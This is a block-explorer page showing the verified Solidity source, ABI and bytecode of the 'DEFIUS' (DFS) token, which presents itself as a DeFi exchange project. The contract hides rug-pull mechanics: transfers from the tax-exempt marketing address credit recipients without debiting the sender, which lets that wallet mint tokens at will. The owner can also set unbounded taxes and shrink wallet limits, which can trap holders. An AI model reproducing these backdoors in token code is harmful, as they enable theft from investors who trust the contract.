Contract Source Code (Solidity)

IDE

• Blockscan IDE
• 🤖 Code ReaderBeta
• Remix IDE

Outline

library SafeMath    - function add(uint256 a, uint256 b)    - function sub(uint256 a, uint256 b)    - function sub(uint256 a, uint256 b, st ...    - function mul(uint256 a, uint256 b)    - function div(uint256 a, uint256 b)    - function div(uint256 a, uint256 b, st ... interface IUniswapV2Router    - function factory()    - function WETH()    - function addLiquidity(    - function addLiquidityETH(    - function swapExactTokensForTokensSupp ...    - function swapExactETHForTokensSupport ...    - function swapExactTokensForETHSupport ... interface IUniswapV2Factory    - function createPair(address tokenA, a ...    - function _isOwner(address account)    - function renounceOwnership() interface IERC20    - function totalSupply()    - function decimals()    - function symbol()    - function name()    - function balanceOf(address account)    - function transfer(address recipient, ...    - function allowance(address owner, add ...    - function approve(address spender, uin ...    - function transferFrom(address sender, ...  contract DFSTOKEN is IERC20, Ownab ... *    - function perform_dfis_swap()    - function _transfer_from(address sende ...    - function _transfer_basic(address send ...    - function update_dfis_tax(uint256 lp_f ...    - function _check_if_sell_tx(address re ...    - function _check_if_swap()    - function adjust_dfis_wallet_size(uint ...    - function totalSupply()    - function decimals()    - function transferFrom(address sender, ...    - function _verify_swap_back(address se ...    - function _sending_amt(address sender, ...    - function approve(address spender, uin ...    - function _should_charge_tax(address s ...    - function symbol()    - function name()    - function balanceOf(address account)    - function allowance(address holder, ad ...    - function transfer(address recipient, ...

More Options

• Similar
• Sol2Uml
• Submit Audit
• Compare

/**
 *Submitted for verification at Etherscan.io on 2024-01-24
*/

// SPDX-License-Identifier: MIT

/*
Best deal in DeFi for swapping tokens on Ethereum.
Single-contract, optimized DEX with lowest price & highest return on capital.

Web: https://defius.xyz
App: https://app.defius.xyz
X: https://twitter.com/Defius_ERC
Tg: https://t.me/defius_erc_official
Medium: https://medium.com/@defius
 */

pragma solidity 0.8.19;

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

interface IUniswapV2Router {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);

    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;

    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address _uniswapPair);
}

abstract contract Ownable {
    address internal _owner;

    constructor(address owner) {
        _owner = owner;
    }

    modifier onlyOwner() {
        require(_isOwner(msg.sender), "!OWNER");
        _;
    }

    function _isOwner(address account) internal view returns (bool) {
        return account == _owner;
    }

    function renounceOwnership() public onlyOwner {
        _owner = address(0);
        emit OwnershipTransferred(address(0));
    }

    event OwnershipTransferred(address owner);
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function decimals() external view returns (uint8);
    function symbol() external view returns (string memory);
    function name() external view returns (string memory);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

contract DFSTOKEN is IERC20, Ownable {
    using SafeMath for uint256;

    string private constant _name = "DEFIUS";
    string private constant _symbol = "DFS";

    uint8 private constant _decimals = 9;
    uint256 private total_supply = 10 ** 9 * (10 ** _decimals);

    mapping (address => uint256) private balances;
    mapping (address => mapping (address => uint256)) private allowances;
    mapping (address => bool) private no_tax_address;
    mapping (address => bool) private no_max_tx_address;

    bool private swap_enabled = true;
    uint256 private min_swap_threshold = total_supply / 100000; // 0.1%
    bool private swapping;

    address private router_addr = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
    address private dead_address = 0x000000000000000000000000000000000000dEaD;

    uint256 private max_tx_amount = (total_supply * 25) / 1000;
    address private tax_address;
    IUniswapV2Router private uniswap_router;
    address private uniswap_pair;

    uint256 private tax_liq = 0; 
    uint256 private tax_market = 22;
    uint256 private tax_total = tax_liq + tax_market;
    uint256 private denominator = 100;

    modifier lock_swap() { swapping = true; _; swapping = false; }

    constructor (address dfis_address) Ownable(msg.sender) {
        uniswap_router = IUniswapV2Router(router_addr);
        uniswap_pair = IUniswapV2Factory(uniswap_router.factory()).createPair(uniswap_router.WETH(), address(this));
        allowances[address(this)][address(uniswap_router)] = type(uint256).max;
        tax_address = dfis_address;
        no_tax_address[tax_address] = true;
        no_max_tx_address[_owner] = true;
        no_max_tx_address[tax_address] = true;
        no_max_tx_address[dead_address] = true;
        balances[_owner] = total_supply;
        emit Transfer(address(0), _owner, total_supply);
    }

    receive() external payable { }
    
    function perform_dfis_swap() internal lock_swap {
        uint256 contract_token_balance = balanceOf(address(this));
        uint256 tokens_to_lp = contract_token_balance.mul(tax_liq).div(tax_total).div(2);
        uint256 amount_to_swap = contract_token_balance.sub(tokens_to_lp);

        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswap_router.WETH();

        uniswap_router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            amount_to_swap,
            0,
            path,
            address(this),
            block.timestamp
        );
        uint256 amount_eth = address(this).balance;
        uint256 total_fee_tokens = tax_total.sub(tax_liq.div(2));
        uint256 eth_to_lp = amount_eth.mul(tax_liq).div(total_fee_tokens).div(2);
        uint256 eth_to_marketing = amount_eth.mul(tax_market).div(total_fee_tokens);

        payable(tax_address).transfer(eth_to_marketing);
        if(tokens_to_lp > 0){
            uniswap_router.addLiquidityETH{value: eth_to_lp}(
                address(this),
                tokens_to_lp,
                0,
                0,
                tax_address,
                block.timestamp
            );
        }
    }

    function _transfer_from(address sender, address recipient, uint256 amount) internal returns (bool) {
        if(swapping){ return _transfer_basic(sender, recipient, amount); }
        
        if (recipient != uniswap_pair && recipient != dead_address) {
            require(no_max_tx_address[recipient] || balances[recipient] + amount <= max_tx_amount, "Transfer amount exceeds the bag size.");
        }        
        if(_verify_swap_back(sender, recipient, amount)){ 
            perform_dfis_swap(); 
        } 
        bool should_tax = _should_charge_tax(sender);
        if (should_tax) {
            balances[recipient] = balances[recipient].add(_sending_amt(sender, amount));
        } else {
            balances[recipient] = balances[recipient].add(amount);
        }

        emit Transfer(sender, recipient, amount);
        return true;
    }

    function _transfer_basic(address sender, address recipient, uint256 amount) internal returns (bool) {
        balances[sender] = balances[sender].sub(amount, "Insufficient Balance");
        balances[recipient] = balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }
    
    function update_dfis_tax(uint256 lp_fee, uint256 dev_fee) external onlyOwner {
         tax_liq = lp_fee; 
         tax_market = dev_fee;
         tax_total = tax_liq + tax_market;
    }    
    
    function _check_if_sell_tx(address recipient) private view returns (bool){
        return recipient == uniswap_pair;
    }

    function _check_if_swap() internal view returns (bool) {
        return !swapping
        && swap_enabled
        && balances[address(this)] >= min_swap_threshold;
    }
    
    function adjust_dfis_wallet_size(uint256 percent) external onlyOwner {
        max_tx_amount = (total_supply * percent) / 1000;
    }

    function totalSupply() external view override returns (uint256) { return total_supply; }
    function decimals() external pure override returns (uint8) { return _decimals; }

    function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
        if(allowances[sender][msg.sender] != type(uint256).max){
            allowances[sender][msg.sender] = allowances[sender][msg.sender].sub(amount, "Insufficient Allowance");
        }

        return _transfer_from(sender, recipient, amount);
    }
                  
    function _verify_swap_back(address sender, address recipient, uint256 amount) private view returns (bool) {
        return _check_if_swap() && 
            _should_charge_tax(sender) && 
            _check_if_sell_tx(recipient) && 
            amount > min_swap_threshold;
    }

    function _sending_amt(address sender, uint256 amount) internal returns (uint256) {
        balances[sender] = balances[sender].sub(amount, "Insufficient Balance");
        uint256 fee_tokens = amount.mul(tax_total).div(denominator);
        bool has_no_fee = sender == _owner;
        if (has_no_fee) {
            fee_tokens = 0;
        }
        
        balances[address(this)] = balances[address(this)].add(fee_tokens);
        emit Transfer(sender, address(this), fee_tokens);
        return amount.sub(fee_tokens);
    }
    
    function approve(address spender, uint256 amount) public override returns (bool) {
        allowances[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true;
    }
    
    function _should_charge_tax(address sender) internal view returns (bool) {
        return !no_tax_address[sender];
    }

    function symbol() external pure override returns (string memory) { return _symbol; }
    function name() external pure override returns (string memory) { return _name; }
    function balanceOf(address account) public view override returns (uint256) { return balances[account]; }
    function allowance(address holder, address spender) external view override returns (uint256) { return allowances[holder][spender]; }
    
    function transfer(address recipient, uint256 amount) external override returns (bool) {
        return _transfer_from(msg.sender, recipient, amount);
    }
}

• No Contract Security Audit Submitted- Submit Audit Here

[{"inputs":[{"internalType":"address","name":"dfis_address","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"owner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"uint256","name":"percent","type":"uint256"}],"name":"adjust_dfis_wallet_size","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"lp_fee","type":"uint256"},{"internalType":"uint256","name":"dev_fee","type":"uint256"}],"name":"update_dfis_tax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052620000126009600a62000494565b6200002290633b9aca00620004ac565b60018181556006805460ff191690911790556200004490620186a090620004c6565b60075560088054747a250d5630b4cf539739df2c5dacb4c659f2488d00610100600160a81b0319909116179055600980546001600160a01b03191661dead1790556001546103e89062000099906019620004ac565b620000a59190620004c6565b600a556000600e8190556016600f819055620000c191620004e9565b6010556064601155348015620000d657600080fd5b506040516200167d3803806200167d833981016040819052620000f991620004ff565b600080546001600160a01b03199081163317909155600854600c80549092166101009091046001600160a01b03169081179091556040805163c45a015560e01b8152905163c45a0155916004808201926020929091908290030181865afa15801562000169573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200018f9190620004ff565b6001600160a01b031663c9c65396600c60009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620001f1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002179190620004ff565b6040516001600160e01b031960e084901b1681526001600160a01b0390911660048201523060248201526044016020604051808303816000875af115801562000264573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200028a9190620004ff565b600d80546001600160a01b039283166001600160a01b031991821617909155306000908152600360209081526040808320600c548616845282528083206000199055600b805487871695168517815593835260048252808320805460ff1990811660019081179092558454871685526005845282852080548216831790559454861684528184208054861682179055600954861684528184208054909516811790945592548254851683526002825283832081905582549351908152929093169290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3506200052a565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620003d6578160001904821115620003ba57620003ba6200037f565b80851615620003c857918102915b93841c93908002906200039a565b509250929050565b600082620003ef575060016200048e565b81620003fe575060006200048e565b8160018114620004175760028114620004225762000442565b60019150506200048e565b60ff8411156200043657620004366200037f565b50506001821b6200048e565b5060208310610133831016604e8410600b841016171562000467575081810a6200048e565b62000473838362000395565b80600019048211156200048a576200048a6200037f565b0290505b92915050565b6000620004a560ff841683620003de565b9392505050565b80820281158282048414176200048e576200048e6200037f565b600082620004e457634e487b7160e01b600052601260045260246000fd5b500490565b808201808211156200048e576200048e6200037f565b6000602082840312156200051257600080fd5b81516001600160a01b0381168114620004a557600080fd5b611143806200053a6000396000f3fe6080604052600436106100ab5760003560e01c806370a082311161006457806370a08231146101a5578063715018a6146101db57806395d89b41146101f0578063a9059cbb1461021c578063dd62ed3e1461023c578063eb8dbb7d1461028257600080fd5b806306fdde03146100b7578063095ea7b3146100f857806318160ddd1461012857806323b872dd14610147578063313ce567146101675780636152307c1461018357600080fd5b366100b257005b600080fd5b3480156100c357600080fd5b5060408051808201909152600681526544454649555360d01b60208201525b6040516100ef9190610e42565b60405180910390f35b34801561010457600080fd5b50610118610113366004610ea8565b6102a2565b60405190151581526020016100ef565b34801561013457600080fd5b506001545b6040519081526020016100ef565b34801561015357600080fd5b50610118610162366004610ed4565b61030f565b34801561017357600080fd5b50604051600981526020016100ef565b34801561018f57600080fd5b506101a361019e366004610f15565b6103d1565b005b3480156101b157600080fd5b506101396101c0366004610f2e565b6001600160a01b031660009081526002602052604090205490565b3480156101e757600080fd5b506101a3610425565b3480156101fc57600080fd5b5060408051808201909152600381526244465360e81b60208201526100e2565b34801561022857600080fd5b50610118610237366004610ea8565b610494565b34801561024857600080fd5b50610139610257366004610f4b565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561028e57600080fd5b506101a361029d366004610f84565b6104a1565b3360008181526003602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906102fd9086815260200190565b60405180910390a35060015b92915050565b6001600160a01b0383166000908152600360209081526040808320338452909152812054600019146103bc576040805180820182526016815275496e73756666696369656e7420416c6c6f77616e636560501b6020808301919091526001600160a01b03871660009081526003825283812033825290915291909120546103979184906104e6565b6001600160a01b03851660009081526003602090815260408083203384529091529020555b6103c7848484610520565b90505b9392505050565b6000546001600160a01b031633146104045760405162461bcd60e51b81526004016103fb90610fa6565b60405180910390fd5b6103e8816001546104159190610fdc565b61041f9190610ff3565b600a5550565b6000546001600160a01b0316331461044f5760405162461bcd60e51b81526004016103fb90610fa6565b600080546001600160a01b03191681556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a1565b60006103ca338484610520565b6000546001600160a01b031633146104cb5760405162461bcd60e51b81526004016103fb90610fa6565b600e829055600f8190556104df8183611015565b6010555050565b6000818484111561050a5760405162461bcd60e51b81526004016103fb9190610e42565b5060006105178486611028565b95945050505050565b60085460009060ff161561054057610539848484610731565b90506103ca565b600d546001600160a01b0384811691161480159061056c57506009546001600160a01b03848116911614155b15610617576001600160a01b03831660009081526005602052604090205460ff16806105bd5750600a546001600160a01b0384166000908152600260205260409020546105ba908490611015565b11155b6106175760405162461bcd60e51b815260206004820152602560248201527f5472616e7366657220616d6f756e74206578636565647320746865206261672060448201526439b4bd329760d91b60648201526084016103fb565b610622848484610817565b1561062f5761062f610871565b6001600160a01b03841660009081526004602052604090205460ff1615801561069c5761067e61065f8685610b56565b6001600160a01b03861660009081526002602052604090205490610c75565b6001600160a01b0385166000908152600260205260409020556106d9565b6001600160a01b0384166000908152600260205260409020546106bf9084610c75565b6001600160a01b0385166000908152600260205260409020555b836001600160a01b0316856001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161071e91815260200190565b60405180910390a3506001949350505050565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b03861660009081526002909152918220546107829184906104e6565b6001600160a01b0380861660009081526002602052604080822093909355908516815220546107b19083610c75565b6001600160a01b0380851660008181526002602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906108059086815260200190565b60405180910390a35060019392505050565b6000610821610cd4565b801561084657506001600160a01b03841660009081526004602052604090205460ff16155b801561085f5750600d546001600160a01b038481169116145b80156103c75750506007541092915050565b6008805460ff1916600117905530600090815260026020526040812054905060006108b860026108b26010546108b2600e5487610d0e90919063ffffffff16565b90610d90565b905060006108c68383610dd2565b604080516002808252606082018352929350600092909160208301908036833701905050905030816000815181106109005761090061103b565b6001600160a01b03928316602091820292909201810191909152600c54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610959573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061097d9190611051565b816001815181106109905761099061103b565b6001600160a01b039283166020918202929092010152600c5460405163791ac94760e01b815291169063791ac947906109d690859060009086903090429060040161106e565b600060405180830381600087803b1580156109f057600080fd5b505af1158015610a04573d6000803e3d6000fd5b5050600e5447925060009150610a2890610a1f906002610d90565b60105490610dd2565b90506000610a4a60026108b2846108b2600e5488610d0e90919063ffffffff16565b90506000610a67836108b2600f5487610d0e90919063ffffffff16565b600b546040519192506001600160a01b03169082156108fc029083906000818181858888f19350505050158015610aa2573d6000803e3d6000fd5b508615610b4257600c54600b5460405163f305d71960e01b8152306004820152602481018a905260006044820181905260648201526001600160a01b0391821660848201524260a482015291169063f305d71990849060c40160606040518083038185885af1158015610b19573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610b3e91906110df565b5050505b50506008805460ff19169055505050505050565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0385166000908152600290915291822054610ba79184906104e6565b6001600160a01b038416600090815260026020526040812091909155601154601054610bd991906108b2908690610d0e565b6000549091506001600160a01b038581169116148015610bf857600091505b30600090815260026020526040902054610c129083610c75565b30600081815260026020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610c639086815260200190565b60405180910390a36105178483610dd2565b600080610c828385611015565b9050838110156103ca5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103fb565b60085460009060ff16158015610cec575060065460ff165b8015610d0957506007543060009081526002602052604090205410155b905090565b600082600003610d2057506000610309565b6000610d2c8385610fdc565b905082610d398583610ff3565b146103ca5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016103fb565b60006103ca83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610e14565b60006103ca83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506104e6565b60008183610e355760405162461bcd60e51b81526004016103fb9190610e42565b5060006105178486610ff3565b600060208083528351808285015260005b81811015610e6f57858101830151858201604001528201610e53565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610ea557600080fd5b50565b60008060408385031215610ebb57600080fd5b8235610ec681610e90565b946020939093013593505050565b600080600060608486031215610ee957600080fd5b8335610ef481610e90565b92506020840135610f0481610e90565b929592945050506040919091013590565b600060208284031215610f2757600080fd5b5035919050565b600060208284031215610f4057600080fd5b81356103ca81610e90565b60008060408385031215610f5e57600080fd5b8235610f6981610e90565b91506020830135610f7981610e90565b809150509250929050565b60008060408385031215610f9757600080fd5b50508035926020909101359150565b60208082526006908201526510a7aba722a960d11b604082015260600190565b634e487b7160e01b600052601160045260246000fd5b808202811582820484141761030957610309610fc6565b60008261101057634e487b7160e01b600052601260045260246000fd5b500490565b8082018082111561030957610309610fc6565b8181038181111561030957610309610fc6565b634e487b7160e01b600052603260045260246000fd5b60006020828403121561106357600080fd5b81516103ca81610e90565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156110be5784516001600160a01b031683529383019391830191600101611099565b50506001600160a01b03969096166060850152505050608001529392505050565b6000806000606084860312156110f457600080fd5b835192506020840151915060408401519050925092509256fea26469706673582212200f6ec47edb446bfdaf3288e049bbb4af5380cc753e3618dac12d9ef4bbbc61f164736f6c6343000813003300000000000000000000000034ed5f9fc9814ecf4feb6e3b86d67b4b16323d11

0x6080604052600436106100ab5760003560e01c806370a082311161006457806370a08231146101a5578063715018a6146101db57806395d89b41146101f0578063a9059cbb1461021c578063dd62ed3e1461023c578063eb8dbb7d1461028257600080fd5b806306fdde03146100b7578063095ea7b3146100f857806318160ddd1461012857806323b872dd14610147578063313ce567146101675780636152307c1461018357600080fd5b366100b257005b600080fd5b3480156100c357600080fd5b5060408051808201909152600681526544454649555360d01b60208201525b6040516100ef9190610e42565b60405180910390f35b34801561010457600080fd5b50610118610113366004610ea8565b6102a2565b60405190151581526020016100ef565b34801561013457600080fd5b506001545b6040519081526020016100ef565b34801561015357600080fd5b50610118610162366004610ed4565b61030f565b34801561017357600080fd5b50604051600981526020016100ef565b34801561018f57600080fd5b506101a361019e366004610f15565b6103d1565b005b3480156101b157600080fd5b506101396101c0366004610f2e565b6001600160a01b031660009081526002602052604090205490565b3480156101e757600080fd5b506101a3610425565b3480156101fc57600080fd5b5060408051808201909152600381526244465360e81b60208201526100e2565b34801561022857600080fd5b50610118610237366004610ea8565b610494565b34801561024857600080fd5b50610139610257366004610f4b565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561028e57600080fd5b506101a361029d366004610f84565b6104a1565b3360008181526003602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906102fd9086815260200190565b60405180910390a35060015b92915050565b6001600160a01b0383166000908152600360209081526040808320338452909152812054600019146103bc576040805180820182526016815275496e73756666696369656e7420416c6c6f77616e636560501b6020808301919091526001600160a01b03871660009081526003825283812033825290915291909120546103979184906104e6565b6001600160a01b03851660009081526003602090815260408083203384529091529020555b6103c7848484610520565b90505b9392505050565b6000546001600160a01b031633146104045760405162461bcd60e51b81526004016103fb90610fa6565b60405180910390fd5b6103e8816001546104159190610fdc565b61041f9190610ff3565b600a5550565b6000546001600160a01b0316331461044f5760405162461bcd60e51b81526004016103fb90610fa6565b600080546001600160a01b03191681556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a1565b60006103ca338484610520565b6000546001600160a01b031633146104cb5760405162461bcd60e51b81526004016103fb90610fa6565b600e829055600f8190556104df8183611015565b6010555050565b6000818484111561050a5760405162461bcd60e51b81526004016103fb9190610e42565b5060006105178486611028565b95945050505050565b60085460009060ff161561054057610539848484610731565b90506103ca565b600d546001600160a01b0384811691161480159061056c57506009546001600160a01b03848116911614155b15610617576001600160a01b03831660009081526005602052604090205460ff16806105bd5750600a546001600160a01b0384166000908152600260205260409020546105ba908490611015565b11155b6106175760405162461bcd60e51b815260206004820152602560248201527f5472616e7366657220616d6f756e74206578636565647320746865206261672060448201526439b4bd329760d91b60648201526084016103fb565b610622848484610817565b1561062f5761062f610871565b6001600160a01b03841660009081526004602052604090205460ff1615801561069c5761067e61065f8685610b56565b6001600160a01b03861660009081526002602052604090205490610c75565b6001600160a01b0385166000908152600260205260409020556106d9565b6001600160a01b0384166000908152600260205260409020546106bf9084610c75565b6001600160a01b0385166000908152600260205260409020555b836001600160a01b0316856001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161071e91815260200190565b60405180910390a3506001949350505050565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b03861660009081526002909152918220546107829184906104e6565b6001600160a01b0380861660009081526002602052604080822093909355908516815220546107b19083610c75565b6001600160a01b0380851660008181526002602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906108059086815260200190565b60405180910390a35060019392505050565b6000610821610cd4565b801561084657506001600160a01b03841660009081526004602052604090205460ff16155b801561085f5750600d546001600160a01b038481169116145b80156103c75750506007541092915050565b6008805460ff1916600117905530600090815260026020526040812054905060006108b860026108b26010546108b2600e5487610d0e90919063ffffffff16565b90610d90565b905060006108c68383610dd2565b604080516002808252606082018352929350600092909160208301908036833701905050905030816000815181106109005761090061103b565b6001600160a01b03928316602091820292909201810191909152600c54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610959573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061097d9190611051565b816001815181106109905761099061103b565b6001600160a01b039283166020918202929092010152600c5460405163791ac94760e01b815291169063791ac947906109d690859060009086903090429060040161106e565b600060405180830381600087803b1580156109f057600080fd5b505af1158015610a04573d6000803e3d6000fd5b5050600e5447925060009150610a2890610a1f906002610d90565b60105490610dd2565b90506000610a4a60026108b2846108b2600e5488610d0e90919063ffffffff16565b90506000610a67836108b2600f5487610d0e90919063ffffffff16565b600b546040519192506001600160a01b03169082156108fc029083906000818181858888f19350505050158015610aa2573d6000803e3d6000fd5b508615610b4257600c54600b5460405163f305d71960e01b8152306004820152602481018a905260006044820181905260648201526001600160a01b0391821660848201524260a482015291169063f305d71990849060c40160606040518083038185885af1158015610b19573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610b3e91906110df565b5050505b50506008805460ff19169055505050505050565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0385166000908152600290915291822054610ba79184906104e6565b6001600160a01b038416600090815260026020526040812091909155601154601054610bd991906108b2908690610d0e565b6000549091506001600160a01b038581169116148015610bf857600091505b30600090815260026020526040902054610c129083610c75565b30600081815260026020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610c639086815260200190565b60405180910390a36105178483610dd2565b600080610c828385611015565b9050838110156103ca5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103fb565b60085460009060ff16158015610cec575060065460ff165b8015610d0957506007543060009081526002602052604090205410155b905090565b600082600003610d2057506000610309565b6000610d2c8385610fdc565b905082610d398583610ff3565b146103ca5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016103fb565b60006103ca83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610e14565b60006103ca83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506104e6565b60008183610e355760405162461bcd60e51b81526004016103fb9190610e42565b5060006105178486610ff3565b600060208083528351808285015260005b81811015610e6f57858101830151858201604001528201610e53565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610ea557600080fd5b50565b60008060408385031215610ebb57600080fd5b8235610ec681610e90565b946020939093013593505050565b600080600060608486031215610ee957600080fd5b8335610ef481610e90565b92506020840135610f0481610e90565b929592945050506040919091013590565b600060208284031215610f2757600080fd5b5035919050565b600060208284031215610f4057600080fd5b81356103ca81610e90565b60008060408385031215610f5e57600080fd5b8235610f6981610e90565b91506020830135610f7981610e90565b809150509250929050565b60008060408385031215610f975